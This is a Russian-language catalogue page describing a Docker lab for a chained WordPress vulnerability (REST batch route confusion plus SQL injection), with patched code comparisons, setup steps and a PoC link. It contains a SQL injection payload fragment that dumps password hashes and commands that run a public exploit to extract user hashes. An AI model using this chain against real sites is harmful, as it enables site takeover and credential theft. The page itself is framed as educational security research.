Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - полная цепочка RCE | Kitploit
Инструменты/GitHubGitHub/mhassani97/cve-2026-63030-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - полная цепочка RCE

Репозиторий
14 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-63030 — wp2shell Lab

RCE без аутентификации в ядре WordPress через путаницу маршрутов пакетных запросов REST API + SQL-инъекция

WordPress CVE CVSS License

Скачать инструмент

Обзор

wp2shell — это цепочка из двух независимых уязвимостей низкой степени серьёзности в ядре WordPress, которые при совместном использовании позволяют неаутентифицированному удалённому злоумышленнику:

  1. Достичь SQL-инъекции без учётных данных
  2. Извлечь хеш пароля администратора из базы данных
  3. Создать новую учётную запись администратора
  4. Загрузить веб-шелл и получить полное удалённое выполнение кода
СвойствоОписание
CVECVE-2026-63030 + CVE-2026-60137
CVSS9.8 Критический
Требуется аутентификацияНет (до аутентификации)
Вектор атакиСеть
Затронутые версииWordPress 6.9.0–6.9.4 и 7.0.0–7.0.1
Исправленные версии6.9.5 и 7.0.2 (выпущены 17 июля 2026 г.)

Две уязвимости

CVE-2026-63030 — Путаница маршрутов пакетных запросов REST API

Файл: wp-includes/rest-api/class-wp-rest-server.php

Метод serve_batch_request_v1() поддерживает два параллельных массива: $matches[] для обработчиков и $validation[] для результатов. Когда подзапрос завершается ошибкой WP_Error (битый путь), он добавляется в $validation[], но не в $matches[]. Это создаёт сдвиг индекса на +1 — подзапрос i направляется обработчику подзапроса i+1.

root@kitploit:~
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — SQL-инъекция в WP_Query

Файл: wp-includes/class-wp-query.php

Параметр author__not_in ожидает массив целых чисел. Если передать строку, implode() подставляет необработанное значение напрямую в SQL-предложение WHERE — без экранирования и параметризации.

root@kitploit:~
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Цепочка атаки

root@kitploit:~
Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

Настройка лаборатории

Предварительные требования

ИнструментЗагрузка
Docker Desktop (Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine (Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community (необязательно)https://portswigger.net/burp/communitydownload

Шаг 1 — Клонирование репозитория

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

Вы увидите следующие файлы:

root@kitploit:~
cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

Шаг 2 — Сборка и запуск лаборатории

root@kitploit:~
docker compose up -d --build

В результате:

  • Будет собран пользовательский образ WordPress 7.0.1 (при первом запуске занимает ~1–2 мин)
  • Будет запущен контейнер с базой данных MySQL 8.0
  • WordPress будет доступен по адресу http://localhost:9090

Проверьте, что оба контейнера запущены:

root@kitploit:~
docker compose ps

Ожидаемый вывод:

root@kitploit:~
NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

Шаг 3 — Завершение установки WordPress

Откройте http://localhost:9090 в браузере и заполните:

ПолеРекомендуемое значение
Название сайтаCVE-2026-63030
Имя пользователяadmin
Парольлюбой пароль
Электронная почта[email protected]

Нажмите Установить WordPress, затем войдите в систему.


Шаг 4 — Включение маршрутизации REST API (обязательно)

Выполните один раз после установки:

Linux / macOS:

root@kitploit:~
docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

root@kitploit:~
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Ожидаемый вывод:

root@kitploit:~
Success: Rewrite structure set.
Success: Rewrite rules flushed.

Шаг 5 — Исправление .htaccess (только Windows, если при обращении к REST API возникает ошибка 404)

root@kitploit:~
.\fix-htaccess.ps1

Шаг 6 — Проверка готовности лаборатории

root@kitploit:~
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

Если вы видите JSON-ответ с "namespaces" — лаборатория готова.


Остановка и удаление

root@kitploit:~
# Stop and remove everything including database
docker compose down -v

Эксплуатация (PoC)

⚠️ Только для авторизованных исследований в области безопасности и обучения. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Полная цепочка эксплуатации (обнаружение → SQLi → создание администратора → веб-шелл → RCE) реализована в:

github.com/Icex0/wp2shell-poc

root@kitploit:~
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

Патч

Три файла, менее 10 строк PHP:

ФайлИзменение
class-wp-rest-server.phpЗаполнитель $matches[] = null для синхронизации массивов
class-wp-query.phpПриведение (array) + array_map('absint', ...)
class-wp-rest-posts-controller.phpАналогичная санитизация на уровне REST

Для устранения уязвимости обновитесь до WordPress 6.9.5 или 7.0.2.


Ссылки

РесурсСсылка
GitHub Advisory (CVE-2026-63030)GHSA-ff9f-jf42-662q
GitHub Advisory (CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
Публичный PoChttps://github.com/Icex0/wp2shell-poc

Сделано с ❤️ командой Black Security Team

Website Telegram LinkedIn

Этот репозиторий предназначен только для образовательных целей и авторизованных исследований в области безопасности. Не проводите тестирование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.